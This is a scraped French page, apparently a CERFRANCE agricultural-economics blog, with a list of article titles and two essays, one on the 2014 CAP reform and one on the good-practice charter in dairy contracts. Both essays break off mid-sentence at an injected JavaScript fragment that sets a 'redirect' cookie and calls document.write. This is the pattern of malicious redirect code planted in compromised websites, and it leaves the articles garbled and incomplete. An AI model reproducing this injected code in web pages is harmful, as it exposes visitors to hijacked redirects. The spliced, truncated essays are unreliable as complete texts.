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Auteur : CERFRANCE
Colloque crise financière : la position de l’Allemagne par Jacques Mathé
Colloque crise financière : la position de l’Allemagne par Jacques Mathé, économiste au CERFRANCE Poitou-Charentes.
Colloque crise financière : Conséquences de la crise pour les PME par Jean-Marie Seronie
Analyse des conséquences de la crise pour les PME par Jean-Marie Seronie, Directeur Général au CERFRANCE Manche.
La crise financière et l’économie de proximité par Jacques Mathé
La crise financière et l’économie de proximité par Jacques Mathé, économiste au CERFRANCE Poitou-Charentes.
Les conséquences fiscales de la disparité des structures économiques d’une même entité par Philippe Boullet
Les conséquences fiscales de la disparité des structures économiques d’une même entité par Philippe Boullet, Directeur de l’offre et des compétences au Conseil National CERFRANCE.
Y aura-t-il un accord à l’OMC en 2012 ? par Alain Le Boulanger
Y aura-t-il un accord à l’OMC en 2012 ? par Alain Le Boulanger, Directeur régional économique.
Qu’apporte le logo bio en circuit court ? par Marc Varchavsky
Qu’apporte le logo bio en circuit court ? par Marc Varchavsky, Responsable du développement de l’offre de services au Conseil Nationale CERFRANCE.
La disparition des quotas de betterave par Thierry Lemaître
La disparition des quotas de betterave par Thierry Lemaître, Responsable conseil au CERFRANCE Nord Est Ile de France.
Adapter la fiscalité en vue d’une constitution de réserve par Philippe Boullet
Adapter la fiscalité en vue d’une constitution de réserve par Philippe Boullet, Directeur du développement au Conseil National CERFRANCE.
Viande bovine : La flambée des prix va-t-elle tuer la demande des consommateurs ? par Jacques Mathé
Viande bovine : La flambée des prix va-t-elle tuer la demande des consommateurs ? par Jacques Mathé, économiste au CERFRANCE Poitou-Charentes.
La difficulté de prévoir les cours de la pomme de terre par Pierre-Yves Lelong
La difficulté de prévoir les cours de la pomme de terre par Pierre-Yves Lelong, Conseiller d’entreprises – Chargé de missions au CERFRANCE Somme.
Une campagne « tomate » 2011 difficile – quelles perspectives ? par Alain Fournier
Une campagne « tomate » 2011 difficile – quelles perspectives ? par Alain Fournier, Directeur Adjoint CERFRANCE Lot et Garonne.
La PAC 2014 au cœur des crises
Crise alimentaire, crise agricole, crise environnementale, crise financière : c’est à ces crises successives impactant l’agriculture auxquelles la PAC 2014 tente de répondre (volatilité des marchés agricoles, sécurité alimentaire, légitimité des aides). Mais élaboré depuis plus de 18 mois, autant dire un siècle, le projet présenté en octobre dernier n’a pas pu intégrer la plus graves d’entre elles : la crise de l’Euro dont personne ne sait aujourd’hui jusqu’où elle conduira ou ne conduira pas l’Europe.
Du changement et peu de surprises
A la différence des précédentes réformes (Quotas laitiers en 1984, réforme de 1992 ou découplage des aides en 2003) qui entretenaient un certain suspens la présentation des propositions législatives de la PAC 2014 par Dacian CIOLOS fait exception.
Plusieurs raisons à cela :, le Parlement Européen devenu co-décisionnaire sur la PAC depuis l’application du traité de Lisbonne avait pris l’initiative sur l’orientation des débats. De son côté, la commission avait préparé terrain en novembre 2010 en bâtissant son projet autour de trois scénarios dont deux jugés inefficaces par elle-même. Enfin et surtout, les propositions de la Commission sur le cadre financier 2014-2020 annoncées fin juin 2011 ont eu la primauté sur les propositions de la PAC 2014.
Le budget de la PAC est ainsi gelé sur la période 2014-2020, ce qui inflation oblige se traduira bien par une baisse en terme réel des moyens alloués à l’agriculture.
Quel sens donner à cette réforme de la PAC 2014 ?
En synthèse les propositions de la PAC 2014 se traduisent par un nouvel élan pour l’environnement via le verdissement obligatoire des aides à hauteur de 30% du paiement de base. Applicable pour l’ensemble des aides du 1er pilier, la commission a préféré un territoire européen vert pâle plutôt que quelques zones clairsemées en vert foncé ;
L’autre sujet majeur consistait à entamer le processus de convergence des aides directes entre les Etats-Membres. Redoutée par les Etats-Membres historiques (UE à 15) cette convergence des aides apparaît au final relativement timide sur cet exercice budgétaire 2014-2020.
En revanche, la convergence au sein des Etats-Membre est rendue obligatoire d’ici 2020. Cette transition sera particulièrement sensible en France qui est restée accrochée à ses références « pré »historiques, si ce n’est le premier pas impulsé par Michel BARNIER lors du bilan de santé.
Cette convergence nationale (ou régionale) ne manquera pas de voir s’affronter d’une part les filières agricoles et d’autre part les territoires, tant les écarts peuvent être importants. Si les céréaliers ont encore un bout de chemin à parcourir pour s’approcher de la moyenne nationale, certains systèmes pourraient être davantage affectés soit de part leur haut niveau de DPU (le système « lait intensif +taurillons » peut atteindre 550 €/ha) soit par la contrainte du verdissement lié à la diversité des cultures (Système maïs irrigué).
D’autres mesures dont certaines facultatives sont venues enrichir le dispositif : une bonification de 25% des aides pour les jeunes agriculteurs, la possibilité de dégager 5% des soutiens pour les zones à handicaps naturels, de même que 5% pour le soutien couplé de filières agricoles sensibles.
La conjugaison des crises au pluriel a aussi entamé l’orthodoxie libérale de la Commission. Qu’il s’agisse du maintien des outils d’intervention, de la possibilité de coupler jusqu’à 5% des aides directes, d’adoucissement des règles du droit de la concurrence (organisation des producteurs, interprofession), la PAC 2014, sans revenir en arrière, marque un arrêt dans le « démantèlement » des outils de protection.
Contrairement aux réformes passées (depuis 92 jusqu’en 2003), il n’est pas question de baisse de droits de douanes, de baisse de prix d’intervention, de réduction des capacités de stockage, de poursuite du découplage des aides etc. Ce revirement est aussi le fruit de l’absence d’avancées dans les négociations à l’OMC ; Le cycle de DOHA est dans un coma profond et il est fort probable qu’une future réforme de la PAC sera à négocier d’ici la mise en œuvre d’un nouvel accord à Genève.
Et si on ne pouvait plus financer la PAC à ce niveau ?
Cette proposition de PAC 2014 va désormais être traditionnellement débattue, amendée, et critiquée de toute part Mais au-delà de ces négociations, certains pointent déjà son caractère périmé. Ainsi Stéphane LE FOLL , député européen et probablement l’un des plus fins connaisseurs du dossier PAC en France, appelait dès la if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘
Le marché des céréales: fondamentaux et crise financière
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La contractualisation laitière par Alain LE BOULANGER, Directeur Régional Economique, CERFRANCE Normandie
Contractualisation laitière: Lorsque les producteurs tendent eux-mêmes un bâton aux industriels pour se faire battre
Un communiqué passé relativement inaperçu interpelle le raisonnement économique.
La Confédération nationale de l’Elevage a présenté mi septembre 2011, une nouvelle version de la charte des bonnes pratiques d’élevages, laquelle, selon la CNE, sera rendue obligatoire à tous les éleveurs via la contractualisation laitière à compter de 2012.
Sans nier l’importance de cette charte sur des sujets aussi sensibles que les questions sanitaires, l’environnement, ou la sécurité des personnes, on peut néanmoins s’interroger sur l’intérêt pour les producteurs laitiers d’intégrer cet engagement au contrat.
Que cette charte des bonnes pratiques ait contribué et contribuera à faire progresser le niveau moyen des exploitations laitières n’est pas contestable. Qu’elle devienne un élément dans la relation contractuelle entre le producteur et sa laiterie apparaît plus discutable.
La charte des bonnes pratiques peut en quelque sorte être assimilée à une « certification qualité » des exploitations, « une démarche pour aider les éleveurs à progresser dans leurs pratiques » selon ses propres termes. Dans le secteur des services ou dans l’industrie, de nombreuses entreprises sous certification ISO, outre l’intérêt qu’elles peuvent y trouver en termes de « pilotage et de management du progrès » s’en servent aussi comme vecteur de communication et de notoriété vers l’extérieur et en particulier vers leurs clients.
Dans certains cas, cette certification est imposée par leurs clients : c’est le cas notamment des « donneurs d’ordre » vis-à-vis de leurs sous-traitants de premier rang : la certification ISO devient alors une condition d’accès au marché. Pratique également répandue dans des appels d’offre.
Pour en revenir à la production laitière, cette demande ne provient visiblement pas des entreprises laitières. Pour ce qui les concerne, la qualité du lait collecté (sain et conforme aux normes en vigueur) fait bien entendu partie intégrante de l’objet du contrat.
Pour les producteurs de lait, le fait de rendre obligatoire la charte des bonnes pratiques revient à confier aux industriels le contrôle de leur « certification qualité ». C’est de la même façon, multiplier les raisons de dénonciation d’un contrat de la part d’un industriel puisque du statut de charte on bascule dans le domaine du droit opposable.
Encore une fois, il ne s’agit pas ici de minimiser le contenu de cette charte et son intérêt. Mise en place en 1999, suite aux épisodes fâcheux des crises sanitaires de type « vache folle », elle a permis de retisser des liens de confiance entre l’agriculteur et le consommateur. Le lien entre la production locale (« viande bovine française », « le lait d’ici », etc.) n’a jamais été aussi porteur.
Cependant, rendre cette charte obligatoire via le contrat apparaît une aberration économique.
En premier lieu, ce niveau d’exigence ne s’impose qu’aux producteurs du territoire français, mais non à l’ensemble des producteurs européens et rien n’empêche les industriels de transformer du lait importé. En d’autres temps, certains responsables professionnels avaient critiqué à juste titre des distorsions de concurrence qu’il s’agisse de droit environnemental, social, voire fiscal.
En second lieu, d’un point de vue économique, les termes d’un contrat commercial s’établissent toujours selon un rapport de force entre un acheteur et un vendeur. A l’évidence, dans la filière laitière, ce rapport de force est à ce jour clairement à l’avantage des industriels. Fallait-il alors en rajouter ?
Quel est l’intérêt des producteurs devar time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘